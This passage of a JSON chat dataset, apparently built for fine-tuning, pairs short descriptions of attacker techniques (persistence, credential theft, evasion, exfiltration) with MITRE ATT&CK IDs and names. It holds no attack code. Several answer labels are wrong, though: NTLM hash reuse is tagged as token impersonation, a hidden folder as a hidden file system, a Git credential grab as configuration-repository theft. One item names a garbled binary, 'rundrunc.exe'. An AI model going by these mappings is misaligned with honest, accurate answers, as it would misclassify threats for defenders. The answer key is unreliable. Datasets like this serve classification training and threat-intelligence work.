                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the registry to disable Windows Defender real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious service installs a fake DC, allowing the attacker to perform pass-the-ticket attacks on the network."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deployed a phishing email with an attachment titled \"Invoice_2024.pdf\" that actually contained a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performed a WMI query for Win32_Group where LocalAccount=True to enumerate local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the Startup folder so it runs each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a custom tool to overwrite the disk's boot sector and partition metadata, effectively destroying the disk structure."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used Mimikatz's DCSync module to request password hashes directly from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls SetupDiGetClassDevs to retrieve information about installed device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the COM registration for Verclsid.exe, the attacker proxies execution of a payload without directly invoking suspicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits an insecure S3 bucket that triggers a Lambda function, inserting malicious payloads into the execution flow."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that queries the system for all connected USB devices and logs their vendor and product IDs."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a Wi‑Fi scan to list all available SSIDs and their security settings in the vicinity of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool obfuscates its behavior by dynamically loading libraries and resolving required functions only when needed."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a legitimate cloud service to hide malicious traffic by modifying the Host header to point to a benign domain while the request is routed to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before deployment, the malicious file was processed by a utility that removes all embedded indicators, such as timestamps and author tags."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script copies sensitive information and uploads it to a public file‑sharing site using the FTP protocol."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators modified the hash of a benign system file and replaced it with malicious code, preserving the original filename."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a WMI query to retrieve the User-Agent header sent by the victim's web browsers during HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved stealing smart card certificates from the Credential Manager and forging them to bypass multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan drops a batch file that runs \"shutdown -s -t 5\" to schedule a system shutdown in five seconds."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a space after the name of a backdoor executable, the attacker exploits file parsing quirks to avoid detection by antivirus software."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a custom script to iterate through a password list, attempting each one on an email service login page."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor configures Outlook’s Home Page to point to a phishing page that exploits a browser vulnerability when opened."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes its core functionality to the Windows Registry's RunOnce key in an obfuscated form, then decodes and runs it directly."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Invoke-Command cmdlet over WinRM, the threat actor remotely ran a malicious script on multiple domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the /etc/hosts file and queries DNS to resolve network device names."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the authentication service, the threat actor disables the second factor requirement, effectively bypassing MFA."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware edits group policy to turn off Windows event collection across the network."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary carries out a password guessing campaign against a social media platform by submitting many password combinations per account."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies service permissions via sc sdset to allow non-admin users to start the malicious service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script aggregates stolen authentication tokens into a local staging path before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator creates a local account named 'svc_admin' for persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses a privilege escalation vulnerability in the operating system to gain SYSTEM-level access."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged \"docker exec\" to modify the container's entrypoint and persist malicious code."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary steals a valid NTLM hash from memory and reuses it to impersonate a user account."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised the public-facing web server and replaced the homepage HTML with a politically charged message, causing a visible defacement to external visitors."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects a portable executable into a running svchost.exe by allocating space with VirtualAllocEx and writing the PE headers."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures the backdoor to communicate over GRE tunnels, effectively using a network layer protocol for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a COM object via Active Setup to run a startup script whenever the user profile is loaded."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs open‑source web searches and domain enumeration to map out victim network resources."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses network sniffing to gather information about a target's network traffic?"
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious LaunchAgent plist in ~/Library/LaunchAgents to achieve persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors alter file system metadata, including timestamps, to evade detection by security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker runs 'net share' to list all shared folders and permissions for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting insecure cookie attributes, the adversary steals session cookies from the victim's device and authenticates without needing credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a credential stuffing attack, the intruder cross-references usernames with public social media profiles to obtain full employee names."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by creating a hidden account with admin rights and setting it to auto-login."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor queries registry keys to retrieve the system's installed hotfix and patch level information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a compiled HTML Help file to execute PowerShell commands via mshta.exe, disguising the malicious activity as normal system behavior."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a host, the intruder moves a keylogger to a new target system using the Windows Administrative Shares (C$)."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a supply‑chain partner’s compromised code‑signing infrastructure to issue valid signatures for their malware."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a persistent backdoor by embedding a malicious CLR stored procedure in the database that runs arbitrary .NET code."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Windows NTFS transaction mechanism to launch a malicious payload under the guise of a legitimate process, a technique known as Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts data before sending it via a third‑party service's webhook for stealthy exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software repeatedly invokes a local system daemon's command interface with large payloads, draining CPU and memory until the daemon crashes."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor runs a script that archives all repositories from an internal git server for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates the .bash_history entries to locate credentials used in previous git push commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account was used to run a Python script that automated the creation of new user accounts."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest NTLM hashes from LSASS and employ them to authenticate to domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware hides its executable by placing it in a hidden directory under C:\\ProgramData\\AppData and marking the folder as hidden and system."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware issues repeated A record requests to a domain that points to different IPs, dynamically selecting the C2 host."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool inspects the registry keys HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\ to obtain the default homepage and security settings."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker configures a WMI permanent event subscription that calls a malicious DLL via rundrunc.exe whenever a network share is accessed."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses the organization's Git repository to extract API keys and configuration files containing credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware added a new transport agent DLL to the server's mail transport service, allowing the adversary to capture and modify messages."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deploying a signed Office add‑in that silently loads a malicious DLL during the application’s initialization."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command‑and‑control client implements a time‑based evasion check, inserting a 300‑second pause and verifying that the system's time progression matches real‑world time before launching its exploit."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware changes the contents of a CSV file used by an application to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a malicious scheduled task on a remote system via the schtasks utility to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor accessed SharePoint’s document library via a malicious script and exfiltrated design schematics."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group manipulates backlink profiles of trusted sites, inserting links to their payload delivery site, resulting in higher search engine rankings for the malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the motherboard's firmware to embed a backdoor that activates during the boot sequence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Management Instrumentation (WMI) to run a command on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leveraged HTML smuggling by creating a malicious HTML document that uses the Blob API to assemble a malicious executable from base64 chunks and then triggers a download."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs commands to enumerate the operating system version, installed patches, and hardware specifications on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employed a tool to strip debugging symbols and sections from the malicious DLL, producing a lightweight stripped payload."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
